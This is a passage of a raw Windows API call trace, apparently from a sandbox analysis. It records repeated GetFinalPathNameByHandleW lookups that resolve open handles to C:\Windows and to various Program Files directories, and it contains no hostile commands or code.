[0089.227] CloseHandle (hObject=0x138) returned 1 [0089.228] GetFileType (hFile=0x114) returned 0x1 [0089.228] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.230] CloseHandle (hObject=0x114) returned 1 [0089.230] GetFileType (hFile=0x138) returned 0x1 [0089.231] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0089.231] CloseHandle (hObject=0x138) returned 1 [0089.232] GetFileType (hFile=0x114) returned 0x1 [0089.232] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.233] CloseHandle (hObject=0x114) returned 1 [0089.233] GetFileType (hFile=0x138) returned 0x1 [0089.233] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0089.234] CloseHandle (hObject=0x138) returned 1 [0089.234] GetFileType (hFile=0x114) returned 0x1 [0089.234] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.235] CloseHandle (hObject=0x114) returned 1 [0089.236] GetFileType (hFile=0x138) returned 0x1 [0089.236] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0089.237] CloseHandle (hObject=0x138) returned 1 [0089.237] GetFileType (hFile=0x114) returned 0x1 [0089.237] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.238] CloseHandle (hObject=0x114) returned 1 [0089.238] GetFileType (hFile=0x138) returned 0x1 [0089.238] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0089.239] CloseHandle (hObject=0x138) returned 1 [0089.239] GetFileType (hFile=0x114) returned 0x1 [0089.239] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.240] CloseHandle (hObject=0x114) returned 1 [0089.240] GetFileType (hFile=0x138) returned 0x1 [0089.241] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0089.242] CloseHandle (hObject=0x138) returned 1 [0089.242] GetFileType (hFile=0x114) returned 0x1 [0089.242] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.243] CloseHandle (hObject=0x114) returned 1 [0089.243] GetFileType (hFile=0x138) returned 0x1 [0089.243] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0089.244] CloseHandle (hObject=0x138) returned 1 [0089.244] GetFileType (hFile=0x114) returned 0x1 [0089.245] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.246] CloseHandle (hObject=0x114) returned 1 [0089.246] GetFileType (hFile=0x138) returned 0x1 [0089.247] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0089.247] CloseHandle (hObject=0x138) returned 1 [0089.248] GetFileType (hFile=0x114) returned 0x1 [0089.248] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.249] CloseHandle (hObject=0x114) returned 1 [0089.249] GetFileType (hFile=0x138) returned 0x1 [0089.249] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0089.250] CloseHandle (hObject=0x138) returned 1 [0089.250] GetFileType (hFile=0x114) returned 0x1 [0089.250] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.252] CloseHandle (hObject=0x114) returned 1 [0089.252] GetFileType (hFile=0x138) returned 0x1 [0089.252] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 0x34 [0089.253] CloseHandle (hObject=0x138) returned 1 [0089.253] GetFileType (hFile=0x114) returned 0x1 [0089.253] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.254] CloseHandle (hObject=0x114) returned 1 [0089.254] GetFileType (hFile=0x138) returned 0x1 [0089.254] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0089.255] CloseHandle (hObject=0x138) returned 1 [0089.255] GetFileType (hFile=0x114) returned 0x1 [0089.256] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.257] CloseHandle (hObject=0x114) returned 1 [0089.257] GetFileType (hFile=0x138) returned 0x1 [0089.257] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0089.258] CloseHandle (hObject=0x138) returned 1 [0089.258] GetFileType (hFile=0x114) returned 0x1 [0089.258] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.259] CloseHandle (hObject=0x114) returned 1 [0089.260] GetFileType (hFile=0x138) returned 0x1 [0089.260] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0089.261] CloseHandle (hObject=0x138) returned 1 [0089.262] GetFileType (hFile=0x114) returned 0x1 [0089.262] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.263] CloseHandle (hObject=0x114) returned 1 [0089.263] GetFileType (hFile=0x138) returned 0x1 [0089.263] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0089.264] CloseHandle (hObject=0x138) returned 1 [0089.264] GetFileType (hFile=0x114) returned 0x1 [0089.265] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.266] CloseHandle (hObject=0x114) returned 1 [0089.266] GetFileType (hFile=0x138) returned 0x1 [0089.266] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0089.267] CloseHandle (hObject=0x138) returned 1 [0089.267] GetFileType (hFile=0x114) returned 0x1 [0089.267] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.268] CloseHandle (hObject=0x114) returned 1 [0089.268] GetFileType (hFile=0x138) returned 0x1 [0089.268] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0089.269] CloseHandle (hObject=0x138) returned 1 [0089.270] GetFileType (hFile=0x114) returned 0x1 [0089.270] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.271] CloseHandle (hObject=0x114) returned 1 [0089.271] GetFileType (hFile=0x138) returned 0x1 [0089.271] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0089.272] CloseHandle (hObject=0x138) returned 1 [0089.273] GetFileType (hFile=0x114) returned 0x1 [0089.273] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.274] CloseHandle (hObject=0x114) returned 1 [0089.274] GetFileType (hFile=0x138) returned 0x1 [0089.274] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0089.275] CloseHandle (hObject=0x138) returned 1 [0089.275] GetFileType (hFile=0x114) returned 0x1 [0089.275] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.277] CloseHandle (hObject=0x114) returned 1 [0089.277] GetFileType (hFile=0x138) returned 0x1 [0089.277] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0089.278] CloseHandle (hObject=0x138) returned 1 [0089.278] GetFileType (hFile=0x114) returned 0x1 [0089.279] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.280] CloseHandle (hObject=0x114) returned 1 [0089.280] GetFileType (hFile=0x138) returned 0x1 [0089.280] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0089.281] CloseHandle (hObject=0x138) returned 1 [0089.281] GetFileType (hFile=0x114) returned 0x1 [0089.281] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.282] CloseHandle (hObject=0x114) returned 1 [0089.282] GetFileType (hFile=0x138) returned 0x1 [0089.282] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0089.283] CloseHandle (hObject=0x138) returned 1 [0089.284] GetFileType (hFile=0x114) returned 0x1 [0089.284] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.285] CloseHandle (hObject=0x114) returned 1 [0089.285] GetFileType (hFile=0x138) returned 0x1 [0089.285] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0089.286] CloseHandle (hObject=0x138) returned 1 [0089.286] GetFileType (hFile=0x114) returned 0x1 [0089.286] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.287] CloseHandle (hObject=0x114) returned 1 [0089.287] GetFileType (hFile=0x138) returned 0x1 [0089.287] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0089.288] CloseHandle (hObject=0x138) returned 1 [0089.288] GetFileType (hFile=0x114) returned 0x1 [0089.288] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.290] CloseHandle (hObject=0x114) returned 1 [0089.290] GetFileType (hFile=0x138) returned 0x1 [0089.290] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0089.292] CloseHandle (hObject=0x138) returned 1 [0089.293] GetFileType (hFile=0x114) returned 0x1 [0089.293] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.294] CloseHandle (hObject=0x114) returned 1 [0089.294] GetFileType (hFile=0x138) returned 0x1 [0089.295] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0089.295] CloseHandle (hObject=0x138) returned 1 [0089.296] GetFileType (hFile=0x114) returned 0x1 [0089.296] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.297] CloseHandle (hObject=0x114) returned 1 [0089.297] GetFileType (hFile=0x138) returned 0x1 [0089.297] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0089.298] CloseHandle (hObject=0x138) returned 1 [0089.298] GetFileType (hFile=0x114) returned 0x1 [0089.298] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.300] CloseHandle (hObject=0x114) returned 1 [0089.300] GetFileType (hFile=0x138) returned 0x1 [0089.300] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0089.301] CloseHandle (hObject=0x138) returned 1 [0089.301] GetFileType (hFile=0x114) returned 0x1 [0089.301] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.302] CloseHandle (hObject=0x114) returned 1 [0089.302] GetFileType (hFile=0x138) returned 0x1 [0089.303] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0089.303] CloseHandle (hObject=0x138) returned 1 [0089.304] GetFileType (hFile=0x114) returned 0x1 [0089.304] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.305] CloseHandle (hObject=0x114) returned 1 [0089.305] GetFileType (hFile=0x138) returned 0x1 [0089.305] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0089.306] CloseHandle (hObject=0x138) returned 1 [0089.306] GetFileType (hFile=0x114) returned 0x1 [0089.306] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.307] CloseHandle (hObject=0x114) returned 1 [0089.308] GetFileType (hFile=0x138) returned 0x1 [0089.308] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0089.308] CloseHandle (hObject=0x138) returned 1 [0089.309] GetFileType (hFile=0x114) returned 0x1 [0089.309] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.310] CloseHandle (hObject=0x114) returned 1 [0089.310] GetFileType (hFile=0x138) returned 0x1 [0089.310] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0089.311] CloseHandle (hObject=0x138) returned 1 [0089.311] GetFileType (hFile=0x114) returned 0x1 [0089.311] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.312] CloseHandle (hObject=0x114) returned 1 [0089.312] GetFileType (hFile=0x138) returned 0x1 [0089.312] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0089.313] CloseHandle (hObject=0x138) returned 1 [0089.314] GetFileType (hFile=0x114) returned 0x1 [0089.314] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.315] CloseHandle (hObject=0x114) returned 1 [0089.315] GetFileType (hFile=0x138) returned 0x1 [0089.315] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0089.316] CloseHandle (hObject=0x138) returned 1 [0089.316] GetFileType (hFile=0x114) returned 0x1 [0089.317] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.318] CloseHandle (hObject=0x114) returned 1 [0089.318] GetFileType (hFile=0x138) returned 0x1 [0089.318] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0089.319] CloseHandle (hObject=0x138) returned 1 [0089.319] GetFileType (hFile=0x114) returned 0x1 [0089.319] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.320] CloseHandle (hObject=0x114) returned 1 [0089.320] GetFileType (hFile=0x138) returned 0x1 [0089.321] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0089.321] CloseHandle (hObject=0x138) returned 1 [0089.322] GetFileType (hFile=0x114) returned 0x1 [0089.322] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.325] CloseHandle (hObject=0x114) returned 1 [0089.325] GetFileType (hFile=0x138) returned 0x1 [0089.325] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0089.326] CloseHandle (hObject=0x138) returned 1 [0089.327] GetFileType (hFile=0x114) returned 0x1 [0089.327] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.328] CloseHandle (hObject=0x114) returned 1 [0089.328] GetFileType (hFile=0x138) returned 0x1 [0089.328] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0089.329] CloseHandle (hObject=0x138) returned 1 [0089.329] GetFileType (hFile=0x114) returned 0x1 [0089.330] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.331] CloseHandle (hObject=0x114) returned 1 [0089.331] GetFileType (hFile=0x138) returned 0x1 [0089.331] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0089.332] CloseHandle (hObject=0x138) returned 1 [0089.332] GetFileType (hFile=0x114) returned 0x1 [0089.332] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.333] CloseHandle (hObject=0x114) returned 1 [0089.333] GetFileType (hFile=0x138) returned 0x1 [0089.333] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0089.334] CloseHandle (hObject=0x138) returned 1 [0089.334] GetFileType (hFile=0x114) returned 0x1 [0089.335] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.336] CloseHandle (hObject=0x114) returned 1 [0089.336] GetFileType (hFile=0x138) returned 0x1 [0089.336] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0089.337] CloseHandle (hObject=0x138) returned 1 [0089.337] GetFileType (hFile=0x114) returned 0x1 [0089.337] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.339] CloseHandle (hObject=0x114) returned 1 [0089.339] GetFileType (hFile=0x138) returned 0x1 [0089.339] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0089.340] CloseHandle (hObject=0x138) returned 1 [0089.340] GetFileType (hFile=0x114) returned 0x1 [0089.340] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.341] CloseHandle (hObject=0x114) returned 1 [0089.341] GetFileType (hFile=0x138) returned 0x1 [0089.341] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0089.342] CloseHandle (hObject=0x138) returned 1 [0089.342] GetFileType (hFile=0x114) returned 0x1 [0089.342] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.344] CloseHandle (hObject=0x114) returned 1 [0089.344] GetFileType (hFile=0x138) returned 0x1 [0089.345] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0089.346] CloseHandle (hObject=0x138) returned 1 [0089.346] GetFileType (hFile=0x114) returned 0x1 [0089.347] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.348] CloseHandle (hObject=0x114) returned 1 [0089.348] GetFileType (hFile=0x138) returned 0x1 [0089.348] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0089.349] CloseHandle (hObject=0x138) returned 1 [0089.349] GetFileType (hFile=0x114) returned 0x1 [0089.349] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.350] CloseHandle (hObject=0x114) returned 1 [0089.351] GetFileType (hFile=0x138) returned 0x1 [0089.351] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0089.352] CloseHandle (hObject=0x138) returned 1 [0089.352] GetFileType (hFile=0x114) returned 0x1 [0089.352] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.353] CloseHandle (hObject=0x114) returned 1 [0089.353] GetFileType (hFile=0x138) returned 0x1 [0089.353] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0089.355] CloseHandle (hObject=0x138) returned 1 [0089.355] GetFileType (hFile=0x114) returned 0x1 [0089.356] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.357] CloseHandle (hObject=0x114) returned 1 [0089.357] GetFileType (hFile=0x138) returned 0x1 [0089.357] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0089.358] CloseHandle (hObject=0x138) returned 1 [0089.358] GetFileType (hFile=0x114) returned 0x1 [0089.358] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.359] CloseHandle (hObject=0x114) returned 1 [0089.359] GetFileType (hFile=0x138) returned 0x1 [0089.360] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0089.360] CloseHandle (hObject=0x138) returned 1 [0089.361] GetFileType (hFile=0x114) returned 0x1 [0089.361] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: 